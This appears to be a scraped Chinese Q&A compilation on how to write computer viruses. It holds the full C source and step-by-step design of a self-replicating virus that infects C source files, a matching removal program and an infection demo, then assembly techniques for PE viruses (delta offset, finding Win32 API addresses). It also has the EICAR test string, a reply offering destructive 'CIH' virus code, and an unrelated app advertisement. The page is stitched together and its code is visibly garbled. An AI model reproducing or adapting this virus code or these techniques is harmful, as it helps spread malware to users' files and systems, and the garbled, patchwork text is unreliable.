本文目录一览:
- 1、怎样编写病毒
- 2、如何编写病毒
- 3、怎么编程病毒?
- 4、请问大虾们如何用记事本制作出一个简单的病毒?
- 5、简单的病毒编程代码是什么?
- 6、如何让手机编程简单的病毒?
怎样编写病毒
3.1.1病毒程序VIRUS.C
这是一个用C语言写的病毒程序,当激发病毒程序时显示时间,然后返回。病毒程序VIRUS.C可将病毒传染给一个C语言程序。当被病毒感染的程序经编译、连接和执行后,又可以将病毒部分传染给其他的C语言源程序。每执行一次带有病毒的C语言程序,就向C语言源程序传播一次病毒。此程序的设计思路如下:
当含有病毒部分的程序被执行时,首先进入病毒程序。它在磁盘上找扩展名为C的匹配文件,如果找到,查找是否有被传染过的标志“INFECTED”。如果有此标志,继续找其它的C文件,直至全部检查一遍。若没有这个标志,则
(1)在未被感染的C程序头部加入“INFECTED”已被传染标志。
(2)读取病毒文件的头文件,将其插入到即将被感染的文件头部。如果发现有重复则不插入。
(3)在主程序中插入“VIRUSES();”调用VIRUSES函数。寻找printf、for、while、break语句,如果找到就在之前插入。
(4)在文件尾部插入VIRUSES_SUB子程序。
(5)在插入到将感染文件里面的VIRUSES_SUB子程序里面,必须把文件名改为当前自身的文件名,否则被传染后的文件经过编译、连接和运行后不能再继续传染。
(6)最后插入VIRUSES子程序。这个子程序里面调用了VIRUSES_SUB,执行到这里返回执行结果信息。
其中用到4个出错的返回值,分别是:
1:用户文件太大,不传染;
2:带病毒文件打不开,不传染;
3:带病毒文件读取不成功,不传染;
4:查找第一个匹配文件不成功。
如果返回值是0代表文件传染成功。
具体实现过程如下:
其中用到的函数和结构体用法参考3.3节。
首先导入病毒子程序要用到的三个库文件,分别是dir.h, stido.h, dos.h.在主函数里面只调用VIRUSES函数。紧跟定义VIRUSES函数里面要调用的VIURS_SUB函数。里面定义了若干个变量。ffblk用来保存查找到的匹配文件的信息,用到里面的ff_name变量来保存匹配文件名。
然后定义保存未感染的文件和病毒文件的文件型指针变量,分别用是*virus_r和*virus_v.读取文件的缓冲区,放到二维数组a[500][80]里面临时存放。因为此程序对大于500行的C文件不进行传染,所以完全可以放到里面。首先用getdate函数获取系统当前日期并输出。接着用findfirst函数查找扩展名为C的文件,将其信息保存到ffblk里面。用fgets函数读文件的第一行,长度是80-1个字符。然后用strstr函数检测病毒的标志,看文件是否有INFECT这个标志。
如果有,表示文件已经被传染,关闭文件,不进行传染。当含有病毒部分的程序被执行时,首先进入病毒程序。它在磁盘上查找*.C的匹配文件,一旦找到,查找“已被传染过”的标志INFECTED。若有此标志,继续找其它*.C文件,直至全部检查一遍。
如果没有这个标志,将文件全部读入a[500][80],如果发现文件超过500行,不传染,返回。将文件指针指向文件头,打开带病毒的文件。如果打不开,返回。
然后读取带病毒文件的前4行,也就是病毒子程序要用到的头文件,写入将被传染的文件。若不能读取带病毒文件,返回。用n_line变量控制行数,把将被传染文件的源程序写回原文件。其中要进行处理不写入病毒文件已有的包含语句,也就是说使#Include语句不重复。
这点是这样实现的:定义一个字符数组char include_h[]=; strstr函数查看将被传染文件的头文件是否和*include_h[]相同,如果相同,不进行插入。找出CALL VIRUSES;的插入点:如果有一行有printf、break、for、while语句其中之一,就对其后插入调用VIRUSES函数的调用语句。把病毒子程序写入文件。最后处理更改被感染的文件名。如果不进行改名,就不能进行多次传染,也就是说不能体现病毒的自我复制能力。查找一行是static char viruses_f[]=,把其中的文件名改为被感染的文件名。接着查找下一个匹配文件。
3.1.2病毒清除程序REVIURS.C
病毒的清除过程是和传染过程相逆的。传染的时候插入调用viruses函数的调用语句,在病毒清除文件里面就要删除掉这个语句。然后还要删除掉病毒子程序VIURSES_SUB和VIURSES。有一个问题不能进行还原。因为当时插入病毒子程序需要的头文件时没有记录传染前文件的头文件信息,所以不能进行还原。但是这一点不影响原文件。所以这点在病毒清除程序中没有进行处理。
由于演示的时候病毒程序VIRUS.C和清除病毒程序REVIURS.C放在同一个目录下进行演示。考虑到VIRUS.C会把REVIURS.C传染和REVIRUS.C会把VIRUS.C清除两种情况。所以编写这两个程序的时候必须加入一条条件语句if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0)和if(strcmp(ffblk.ff_name,"VIRUS.C")!=0)。
当含有清除部分的程序被执行时。它在磁盘上找扩展名为C的匹配文件,如果找到,查找是否有被传染过的标志“INFECTED”。如果无此标志,继续找其它的C文件,直至全部检查一遍。若有这个标志,则
(1)查找磁盘文件,如果是有病毒的传染标志“INFECTED”则打开文件。如果没有则关闭文件并且寻找下一个TEST*.C。
(2)读取文件,首先判断是否为Viruses();如果不是则判断是否为int Viruses_sub(),如果都不是,则把读取部分放在二维数组a[500][80]中,如果只是为int Viruses_sub(),则读取文件结束。
(3)关闭文件,然后删除该文件。
(4)创建一个跟删除文件相同名字的文件。然后打开。
(5)把二维数组a[500][80]中的数据写入到新建的文件中。关闭文件,读取下一个文件。
3.2 程序流程图
3.2.1 病毒程序VIRUS.C流程图
N
N
Y Y
有
无
Y
N
3.2.2 解毒程序REVIRUS.C流程图
N
Y
无
有
Y
N
Y
N
3.3其中用到的函数和结构体的说明:
(1)结构体struct ffblk (在dir.h中)类型变量
变量ffblk用于打开文件,获取返回值。
Struct ffblk
{char ff_reserved[21];
char ff_attrib;
unsigned ff_ftime;
unsigned ff_fdate;
long ff_fize;
char ff_name[13];
};
程序中只用到ff_name来保存匹配文件名。
(2)结构体struct date(在dos.h中)变量
struct date
{int da_year; /* Year-1980 */
char da_day; /* Day of the month */
char da_mon; /* Month (1=Jan) */
};
程序中用来获取系统当前日期。具体用法为:
void getdate (struct date *datep);
(3)查找匹配文件
findfirst()函数和findnext()函数
调用方式:整型数=findfirst(文件名,结构变量名,属性常数组合(如0×24));
功能:检索由path和attr指定的文件,把结果返回到afer。
Findfirst返回关于第一个指定文件的信息。
Findnext继续检索。
返回值:0(检索成功),-1(没有找到指定的文件)
属性常数:
FA_NORMAL(0*00) 含意:Normal file, no attributes
FA_RDONLY (0*01) 含意:只读
FA_HIDDEN(0*02) 含意:隐含文件
FA_SYSTEM(0*24) 含意:系统文件
需要用到的头文件: dir.h
程序中的匹配文件属于普通文件,所以属性常数为0。
(4)读文件
函数原形:char *fgets (char *a, int n, FILE *fp);
功能:
从fp指向的文件读取一个长度为(n-1)的字符串,最后加一个’ \0’,存入始地址为a的空间。
若在读完n-1个字符之前遇到换行符或EOF,读入即结束。
返回值:返回地址a。
若遇文件结束或出错,返回NULL。
(5)在字符串中查找指定字符串的第一次出现
函数原形;
char *strstr(char *str1,char *str2);
功能:找出str2字符串在str1字符串中第一次出现的位置(不包括str2的串结束符)。
返回值:返回该位置的指针。
若找不到,返回NULL指针。
程序中用这个函数来判断字符串是否一致。
(6)改变文件位置指针
函数原形:int fseek (FILE *fp, long offset, int base);
功能:将fp所指文件的位置指针移到以base所指出的位置为基准、以offset为位移量的位置。
返回值:返回当前位置。否则,返回-1。SEEK_SET为文件开始。
由于读取文件的时候文件指针要发生变化。而重新执行一条命令的时候需要重新定位文件指针的位置,所以要用到fseek函数。程序中用这个函数定位到文件头,对文件进行重新读取。
3.4 程序清单
3.4.1病毒程序VIRUS.C程序清单如下:
/*INFECTED*/
#include "stdio.h"
#include "dos.h"
#include "dir.h"
main()
{
viruses();
}
int viruses_sub()
{
struct ffblk ffblk;
int done,i,j,k,n_line;
FILE *virus_r,*virus_v;
/*virus_r指向将被感染的文件,virus_v指向已带病毒的文件*/
char a[500][80],b[80],*p1,*p2; /*将被传染的文件读入a[500][80]临时存放*/
static char viruses_f[]=;/*文件被传染后,修改该值为自身文件名*/
int include_write;
int virus_call=0;
int virus_start=0;
char *main_flag[]=;
char *include_h[]=;
char *v_flag[]=;
struct date today;
/*VIRUSES DISPLAY*/
getdate(today); /*病毒显示日期信息*/
printf("Today is %d/%d/%d\n",today.da_mon,today.da_day,today.da_year);
/*AFFECT VIRUSES*/
done=findfirst("*.c",ffblk,0); /*查找第一个匹配文件*/
while(!done)
{
if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0)
{
virus_r=fopen(ffblk.ff_name,"r+w");
if(virus_r!=NULL)
{
p1=fgets(a[0][0],80,virus_r);
if(strstr(p1,v_flag[0])==NULL)
{
n_line=0; /*把文件全部读入a[500][80]*/
while(p1!=NULL)
{
n_line++;
p1=fgets(a[n_line][0],80,virus_r);
if(n_line=500)
{
fclose(virus_r);
return(1);
}
}
fseek(virus_r,0,SEEK_SET);
virus_v=fopen(viruses_f[0],"r"); /*打开带病毒的文件*/
if(virus_v==NULL)
{
fclose(virus_r);
return(2);
}
for(i=1;i5;i++) /*读带病毒文件前4行并写入将被传染的文件*/
{
p2=fgets(b,80,virus_v);
if(p2==NULL)
{
fclose(virus_r);
fclose(virus_v);
return(3);
}
fputs(b,virus_r);
}
for(j=0;jn_line;j++) /*把将被传染文件的原程序写回原文件*/
{
include_write=1; /*不写入病毒文件已有的包含语句*/
if(strstr(a[j][0],"#include")!=NULL)
for(i=0;i3;i++)
if(strstr(a[j][0],include_h[i])!=NULL)
include_write=-1;
if(virus_call==0) /*插入调用语句,并加上回车换行*/
for(i=0;i4;i++)
if(strstr(a[j][0],main_flag[i])!=NULL)
{
for(k=0;k80;k++)
b[k]=0;
strcpy(b[0],"viruses();");
b[10]=13;
b[11]=10;
fputs(b,virus_r);virus_call=1;
i=4;
}
if(include_write==1)fputs(a[j][0],virus_r);
}
p1=fgets(b,80,virus_v); /*把病毒子程序写入文件*/
while(p1!=NULL)
{
if(virus_start==0) /*找病毒子程序的第一条语句*/
if(strstr(p1,"int viruses_sub()")!=NULL)
virus_start=1;
if(virus_start==1)
{
if(strstr(p1,"char")!=NULL)
if(strstr(p1,"viruses_f[]=")!=NULL)
{
strcpy(b[29],ffblk.ff_name);
i=strlen(b[0]);
b[i]=34;
strcpy(b[i+1],");");
b[i+3]=13;
b[i+4]=10;
}
fputs(b,virus_r);
}
p1=fgets(b,80,virus_v);
}
fclose(virus_v);
fclose(virus_r);
return(0);
}
fclose(virus_r);
}
}
done=findnext(ffblk);
}
return(4);
}
viruses()
{
int num;
num=viruses_sub();
switch (num)
{
case 0 : printf("successful\n");
break;
case 1: printf("the file is outof line\n");
break;
case 2 : printf("the viruses file cannot open\n");
break;
case 3 : printf("cannot read viruses file\n");
break;
case 4: printf("cannot find file\n");
}
getch();
}
3.4.2病毒清除程序REVIURS.C清单如下:
#include "stdio.h"
#include "dos.h"
#include "dir.h"
main()
{
struct ffblk ffblk;
int done,i,j,line,k;
static int n_line;
FILE *virus_r,*virus_v;
char a[500][80],b[80],*p;
char *v_flag[]=;
done=findfirst("*.c",ffblk,0);
while(!done)
{
if(strcmp(ffblk.ff_name,"VIRUS.C")!=0)
{
for(k=0;k500;k++)
for(j=0;j80;j++)
a[k][j]=0;
virus_r=fopen(ffblk.ff_name,"r+w");
if(virus_r!=NULL)
{
p=fgets(b[0],80,virus_r);
if(strstr(p,v_flag[0])!=NULL)
{
line=0;
while(p!=NULL)
{
p=fgets(b[0],80,virus_r);
if(strstr(b[0],"int viruses_sub()")!=NULL)
break;
else if(strstr(b[0],"viruses();")==NULL)
{
k=strlen(b);
for(j=0;jk;j++)
a[line][j]=b[j];
a[line][j+1]=0;
line++;
}
}
n_line=line;
fclose(virus_r);
remove(ffblk.ff_name); /*删除文件*/
virus_r=fopen(ffblk.ff_name,"w+"); /*打开将被感染的文件*/
for(i=0;in_line;i++)
{
fputs(a[i][0],virus_r); /*把二维数组中的数据写入原文件*/
}
fclose(virus_r);
}
}
}
done=findnext(ffblk); /*查找下一个匹配文件*/
}
}
4. 计算机病毒的演示
4.1病毒程序VIRUS.C的演示过程
在一张已经格式化的软盘上,除了病毒源程序VIRUS.C和REVIRUS.C外,还有两个尚未被感染的C语言程序TEST1.C和TEST2.C。原始代码分别如下:
TEST1.C:
#include "stdio.h"
main()
{
int i,sum;
for(i=1;i100;i++)
sum=sum+i;
printf("sum=%d\n",sum);
}
TEST2.C
#include "stdio.h"
main()
{
printf("hello,world!\n");
}
在命令提示符下键入dir命令查看文件信息。
然后编译连接并执行VIRUS.C文件,运行结果显示:
Today is 5/20/2004
Successful
说明传染成功。再用dir命令查看文件信息
可以看到TEST2.C文件已经被传染,大小从64变成3949。用type命令查看TEST1的内容
可以看到病毒的子程序已经插入了,而且在主函数里面插入了调用VIRUSES函数语句。而且文件名自动改为“TEST2.C”。(如图中红线所示)
然后再把TEST2.C文件编译连接并运行。成功后,再用dir命令查看文件信息
可以看到TEST1.C也被感染了,大小从107变成了3969。再用type命令查看,结果如下:
可以看到,文件名称已经自动改为TEST1.C,而且病毒子程序已经拷贝过来,在这个过程中REVIRUS.C始终没有被感染,达到了我们的目的。
文件被感染前后内容如下图所示:
4.2病毒清除程序REVIRUS.C演示过程
然后我们来演示病毒的清除。编译运行REVIRUS.C后用dir命令查看文件信息。
图中可以看到TEST1.C和TEST2.C都变小了。虽然没有还原到以前的大小。这是因为运行病毒子程序需要的头文件没有删除,原因前面已经提及过了。然后用type命令分别查看一下TEST1.C和TEST2.C的内容。
图中可以看到,除了程序需要用到的头文件,剩下的已经基本还原。而且没有清除VIRUS.C里面的程序,基本达到了清除病毒的目的。演示成功。
从演示过程中可以看出,一旦程序被病毒感染,这个程序经过编译连接后运行时就能向没感染上病毒的程序扩散病毒,使病毒在系统中不断蔓延下去。而病毒清除程序运行一次就可以删除掉所有的病毒子程序和插入的调用语句。
如何编写病毒
那首先要对系统底层的东西比较熟悉,如果编网络病毒,还要对网络协议很了解。并且要精通至少一门编程语言,一般写病毒用asm(汇编语言)的比较多,用其他也可以,比如vbs(vb脚本语言)或者.bat的批处理,都可以。如果写unix 类系统的病毒用c语言的多一些。但汇编知识是写高级病毒必须的知识。
怎么编程病毒?
搂主`你多C语言懂多少呀?通常只要在病毒代码的开始计算出delta offset,通过变址寻址的方式书写引用数据的汇编代码,即可保证病毒代码在运行时被正确重定位。假设ebp 包含了delta offset,使用如下变址寻址指令则可保证在运行时引用的数据地址是正确的:
;ebp 包含了delta offset 值
401000:
mov eax,dword ptr [ebp+0x402035]
......
402035:
db "hello world!",0
在书写源程序时可以采用符号来代替硬编码的地址值,上述的例子中给出的不过是编译器对符号进行地址替换后的结果。现在的问题就转换成如何获取delta offset的值了,显然:
call delta
delta:
pop ebp
sub ebp,offset delta
在运行时就动态计算出了delta offset 值,因为call要将其后的第一条指令的地址压入堆栈,因此pop ebp 执行完毕后ebp 中就是delta的运行时地址,减去delta的编译时地址“offset delta”就得到了delta offset 的值。除了用明显的call 指令外,还可以使用不那么明显的fstenv、fsave、fxsave、fnstenv等浮点环境保存指令进行,这些指令也都可以获取某条指令的运行时地址。以fnstenv 为例,该指令将最后执行的一条FPU 指令相关的协处理器的信息保存在指定的内存中fpu_addr:
fnop
call GetPhAddr
sub ebp,fpu_addr
GetPhAddr:
sub esp,16
fnstenv [esp-12]
pop ebp
add esp,12
ret
delta offset 也不一定非要放在ebp 中,只不过是ebp 作为栈帧指针一般过程都不将该寄存器用于其它用途,因此大部分病毒作者都习惯于将delta offset 保存在ebp 中,其实用其他寄存器也完全可以。
在优化过的病毒代码中并不经常直接使用上述直接计算delta offset 的代码,比如在Elkern开头写成了类似如下的代码:
call _start_ip
_start_ip:
pop ebp
;...
;使用
call [ebp+addrOpenProcess-_start_ip]
;...
addrOpenProcess dd 0
;而不是
call _start_ip
_start_ip:
pop ebp
sub ebp,_start_ip
call [ebp+addrOpenProcess]
为什么不采用第二种书写代码的方式?其原因在于尽管第一种格式在书写源码时显得比较罗嗦, 但是addrOpenProcess-_start_ip 是一个较小相对偏移值,一般不超过两个字节,因此生成的指令较短,而addrOpenProcess在32 Win32编译环境下一般是4 个字节的地址值,生成的指令也就较长。有时对病毒对大小要求很苛刻,更多时候也是为了显示其超俗的编程技巧,病毒作者大量采用这种优化,对这种优化原理感兴趣的读者请参阅Intel手册卷2中的指令格式说明。
API 函数地址的获取
在能够正确重定位之后,病毒就可以运行自己代码了。但是这还远远不够,要搜索文件、读写文件、进行进程枚举等操作总不能在有Win32 API 的情况下自己用汇编完全重新实现一套吧,那样的编码量过大而且兼容性很差。
Win9X/NT/2000/XP/2003系统都实现了同一套在各个不同的版本上都高度兼容的Win32 API,因此调用系统提供的Win32 API实现各种功能对病毒而言就是自然而然的事情了。所以接下来要解决的问题就是如何动态获取Win32 API的地址。最早的PE病毒采用的是预编码的方法,比如Windows 2000 中CreateFileA 的地址是0x7EE63260,那么就在病毒代码中使用call [7EE63260h]调用该API,但问题是不同的Windows 版本之间该API 的地址并不完全相同,使用该方法的病毒可能只能在Windows 2000的某个版本上运行。
因此病毒作者自然而然地回到PE结构上来探求解决方法,我们知道系统加载PE 文件的时候,可以将其引入的特定DLL 中函数的运行时地址填入PE的引入函数表中,那么系统是如何为PE引入表填入正确的函数地址的呢?答案是系统解析引入DLL 的导出函数表,然后根据名字或序号搜索到相应引出函数的的RVA(相对虚拟地址),然后再和模块在内存中的实际加载地址相加,就可以得到API 函数的运行时真正地址。在研究操作系统是如何实现动态PE文件链接的过程中,病毒作者找到了以下两种解决方案:
A)在感染PE 文件的时候,可以搜索宿主的函数引入表的相关地址,如果发现要使用的函数已经被引入,则将对该API 的调用指向该引入表函数地址,若未引入,则修改引入表增加该函数的引入表项,并将对该API 的调用指向新增加的引入函数地址。这样在宿主程序启动的时候,系统加载器已经把正确的API 函数地址填好了,病毒代码即可正确地直接调用该函数。
B)系统可以解析DLL 的导出表,自然病毒也可以通过这种手段从DLL 中获取所需要的API地址。要在运行时解析搜索DLL 的导出表,必须首先获取DLL 在内存中的真实加载地址,只有这样才能解析从PE 的头部信息中找到导出表的位置。应该首先解析哪个DLL 呢?我们知道Kernel32.DLL几乎在所有的Win32 进程中都要被加载,其中包含了大部分常用的API,特别是其中的LoadLibrary 和GetProcAddress 两个API可以获取任意DLL 中导出的任意函数,在迄今为止的所有Windows 平台上都是如此。只要获取了Kernel32.DLL在进程中加载的基址,然后解析Kernel32.DLL 的导出表获取常用的API 地址,如需要可进一步使用Kernel32.DLL 中的LoadLibrary 和GetProcAddress 两个API 更简单地获取任意其他DLL 中导出函数的地址并进行调用。
请问大虾们如何用记事本制作出一个简单的病毒?
欧洲计算机防病毒协会提供的测试病毒代码。本代码尽管测试,无任何危险。
---------------------请复制下面的代码到文本中保存-------------------
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
---------------------请复制上面的代码到文本中保存-------------------
测试方法:
1.鼠标右键点击桌面空白处,创建一个“文本文档”。
2.将上面这段测试代码复制到“文本”里,保存,然后可以直接右键点击这个文本,用杀毒软件扫描也可以等一会,如果你的杀毒软件还行,会自动报毒并将该文本删除那就可以初步放心了。
测试原理:
该段代码是欧洲计算机防病毒协会开发的一种病毒代码,其中的特征码已经包含在各种杀毒软件的病毒代码库里,所以可以用做测试病毒扫描引擎。
测试等级:
特等:复制完代码后便提示内存有病毒
优等:刚保存完就提示病毒(或者直接删除)
中等:保存后几秒提示病毒(或者直接删除)
下等:需自己启动病毒扫描查杀才提示病毒(或者直接删除)
劣等:无论怎么扫描都无法提示病毒(或者直接删除)
还有些要放在后缀名为EXE的文件里,双击运行就好了,后缀名为EXE的文件必须由专门的编程软件创建的!
明白!!!
再给你个病毒代码
CIH的!!!
破坏力很强的!
再给你其他病毒的代码!
简单的病毒编程代码是什么?
编写的计算机程序代码统称为恶意代码。恶意代码定义一:恶意代码又称恶意软件。
首先,病毒要有感染机制,即它能够实现繁殖自身。其次,病毒要有有效载荷触发事件,即病毒要找到一定数量的感染体、或者某一日期、或者在碰到某一段文本后才能发作。
所谓的病毒代码其实可以想象成是犯人的指纹, 当防毒软件公司收集到一只新的病毒时, 他们就会从这个病毒程序中截取一小段独一无二而且足以表示这只病毒的二进位程序码 (Binary Code) , 来当做杀毒程序辨认此病毒的依据。
而这段独一无二的二进位程序码就是所谓的病毒代码。病毒代码它可以把计算机程序打乱,使计算机无法正常使用。
如何让手机编程简单的病毒?
编程是一项非常重视实战的技能。如果仅仅只是阅读和听课,数个艾宾浩斯记忆曲线之后,你的脑海所剩知识将归零。学习编程需要经历 3 个步骤:阅读 READ→ 练习 PRACTICE → 创造BUILD。—— 事实上,这是学会任何技能都需要经历的 3 个步骤而编程尤甚。点击安装APP xue.cn 可以直接随时随地学习编程知识、编写运行代码。除此之外,附送10条过来之人的忠告。忠告 1:设备从来都不是学习的阻碍,仅凭手机也能学习编程。有人问,我没有电脑,仅有一台手机或者ipad,能学编程吗?能呀,当然能!现在的手机都是智能手机,等同于一部贴身移动的随身电脑;当然可以用手机来学习编程!文末我将推荐几款可以在手机上直接运行代码、学写代码的 APP 产品。忠告 2:从0开始不成问题,任何具备阅读能力的人都能学会编程。有人问,我是萌新,我是文科生,我毫无编程经验,我没有相关基础,我英语很烂……这样的我,还能学习编程吗?能呀,当然能!从0开始,并不是问题;事实上可以认为任何学习都是从 0 开始的。不足10岁的小学生能学编程,80多岁的老奶奶也能学会编程。困扰你的仅仅是,“我是否比其他人少了某些优势” 。在你不擅长的领域,你永远都比擅长的人少了一些优势。正因为你不懂不会、你想要掌握某项技能积累自己的优势,所以才决定学编程的呀!编程作为一项技能,是任何具备阅读能力的人都可以学会的。很多人也曾学过编程,只是绝大部分学而未用的知识,早已经还给书本或老师。关键并非“能不能学会”,而是“学习方法存在什么问题”。忠告 3:不要做搜刮囤积资料的松鼠,囤再多知识也不能变成你的技能。决定学习编程后,很多人开始到处搜刮学习资料:哪里有合适的书籍、视频、文章、专栏、回答、电子书、付费课程……我还需要装哪些app或者软件……然后通通下载、收藏、购买、安装、付钱……搜刮和囤积能带来满足感,你的大脑正在欺骗你自己,囤积让你觉得自己的学习取得了关键进展。冰冷的事实是,你所囤积的学习资料,永远都不属于你,永远都无法转变为你的技能。它们仅仅是冰冷的字节或交出去的智商税。请直奔主题 —— 立即读一个编程的知识点,立即运行和改写代码,立即写下自己的第一行代码说“Hello world!”。把知识输入自己的大脑才是获取技能的真正开端。忠告4:并不存在完美的学习计划,做好心理建设比什么都重要。如果你曾为学编程做计划:今天读几页,明天搞定某个知识点,后天刷几道题等——计划越细致,落实越困难,真正的收获,恐怕是挫败感。对于绝大多数人来说,代码的世界是崭新的世界,全然未知的世界。面对未知世界,怎么可能提前预想设定出一个能被100%执行到位的学习计划呢?抛开学习计划吧。有做学习计划的精力,不妨做足心理建设,反复回答自己几个问题:我为什么必须要学会编程?学会编程会给我带来哪些好处?列举足够多的动力,充分看到掌握编程后带给自己的好处,鼓足劲。刚决定学编程就立即做足心理建设是必要的, 但心理建设不能仅仅只做一次;相反,你需要反复给自己做心理建设,打鸡血,喝鸡汤,让自己有充分的动力去学编程。忠告 5:花再多钱也买不来技能,时间是你需要支付的最大成本。你愿意花几百元、几千元或者几万元购买编程课程,这并不代表你能花钱买来“编程”这门技能。决定你是否掌握编程技能的唯一关键是:是否给出足够的时间预算。时间精力是你需要为掌握编程技能而支付的唯一成本。短期没有足够的时间,那就长期;没有整块的时间,那么就碎片时间学。你需要付出足够的时间投入,反复阅读、练习、创造来锤炼自己的编程技能。当你有足够的动力来学会编程,那么就支付足够的时间预算,对自己的学习进程保持耐心。降低时间成本的方法有许多,但花钱无法代替你反复的阅读、练习与创造。着急花钱,还不如好好反思学习方法、刻意思考如何刻意练习自己的编程技能。有关编程的绝大多数知识都是免费的、开源的,与其花那么多钱,不如花点时间锤炼自己的搜索能力,训练自己的信息整合能力。互联网如此发达,你善于搜索,能得到非常多有价值的信息。忠告6:仅有阅读远远不够,实战才是学会编程的重点。编程是一项非常重视实战的技能。如果仅仅只是阅读和听课,数个艾宾浩斯记忆曲线之后,你的脑海所剩知识将归零。学习编程需要经历 3 个步骤:阅读 READ→ 练习 PRACTICE → 创造BUILD。—— 事实上,这是学会任何技能都需要经历的 3 个步骤而编程尤甚。阅读,让你获知一个编程知识点;练习,通过阅读代码,改写代码、做习题等方式,检查并巩固知识点的掌握程度;创造,综合运用所学,从无到有编写代码完成一个需求。你并不需要等到读完整本书,才开始练习。从你接触到第一个编程知识点,你就应该有意地重复“阅读 READ→ 练习 PRACTICE → 创造BUILD” 这个循环。哪怕你刚知道 print("Hello world!") ,你也应该立即运行一下这行代码,观察它的反应,然后自己默写一遍再运行试试看。忠告7:不要因为怕丢丑就不敢提问,勇于承认自己就是新手。刚起步就被某个难题困住。许多问题仅仅通过认真阅读、搜索或是认真检查,都能能解决。但依然有少数问题,你搞不定且搜不到答案。你不敢向人求助或提问,你在担心自己的问题太low,或者觉得那是自己应该能搞定的。无法准确地描述问题,是刚学编程的人,最常遇到的困难。既然问题都未能被准确描述,想要搜索得到答案,自然非常困难。某些时候需要勇于求助。有时答案来自同学的经验——那些同样从0开始学习该编程语言的同学;有时答案仅仅是有人帮你指出了关键词,更正了问题描述,让你能直接搜索命中答案。当你从0开始学编程,你在编程这件事上就是一个完完全全的新手。这个事实这并不会因为你的财富,你在其它领域的建树,你的身份地位而改变。真正强大的人敢于直面事实,并勇于解决问题,并善于整合资源——同学,也是你的学习资源。忠告8:伸手党固然可恶,教却是最好的学。确实有一些人不付出任何努力,一旦遇到困难或报错就立即向人求助。—— 伸手党是所有人深恶痛绝的一类人。但如上所述,编程新手遇到的问题和困难,却又花样百出,自己还暂无能力准确描述。即便你已经掌握某个编程知识点,但通过理解他人的问题,帮忙解决该困难,却是你的知识点练习场合。把你懂的知识教给不懂的人,你才是最大的受益者,因为你由此更深地理解了知识,巩固了技能。一个好的学习交流环境,不是直接告诉每个提问者那个答案是什么,而是教会每个提问者如何更好地提问。一个好的学习交流环境,每个人在群里提问前,都将在几个方向上自己作出尝试,自己先试着找到答案。自己实在无法解决的,才会向人求助的同时附上自己已经尝试的思路……忠告 9:学习并非没有终点,学而不用,学来做甚?学无止境,终有一天,你发现自己已经具备了一定的编程能力:你可以自己写代码解决一些常见的需求,即便自己无法从零写出,你也懂得如何通过搜索、阅读并整合网上已有的代码来构造自己的解决方案。但是否需要继续学习下去呢?学习永无止境。但编程技能如果仅仅持续地学,学而不用,拿来作甚?如果你刚开始学编程,请记得随时记录你想要用编程技能解决的一个个需求,并在自己具备一定能力时开始试着实现它们。适时停止涉猎“新知识点”,整合已有能力,运用它们解决一个实际的问题,才是更上一层楼的“学”,是更高级的学。忠告 10:工具只是工具,再好的产品也仅是为你所用,最重要的还是人。基于“阅读 READ→ 练习 PRACTICE → 创造BUILD”这个技能学习的方法论:满足“阅读”的途径非常多。实体书、电子书在线阅读、编程类文章等等,都有很多选择。比如:微信读书、微信公众号、知乎、甚至微博,B站,仅仅是看和听来得到编程知识,选择非常多。满足“练习”和“创造”的途径开始变少。最好能直接在手机上阅读代码,代码的显示非常清晰、语法也是准确的;甚至能改改代码,立即运行一下。同时满足“阅读”、“练习”和“创造”的产品,仅有 xue.cn唯此一家。虽然尚未发现更好的产品,但即便更好的产品有非常多,每一款产品都仅仅是你的工具,为你所用,帮助你获取编程技能。再好的手机端编程学习产品,也仅仅是你学习编程的工具。最重要的还是你这个人:你相信零基础也能学会编程,你具备强大的动力学习编程,你掌握编程学习的方法论,你持续重复着阅读、练习和创造的循环你有充足的实践:你对自己有足够的耐心并给出足够的时间预算,你善于整合资源:你善于通过搜索解决问题,更善于结识和融入同学之中,借用一切可借用的力量帮助自己习得编程技能。手机上一边阅读,一边运行代码上方视频:在xue.cn上能一边阅读知识,一边能运行代码、编写代码。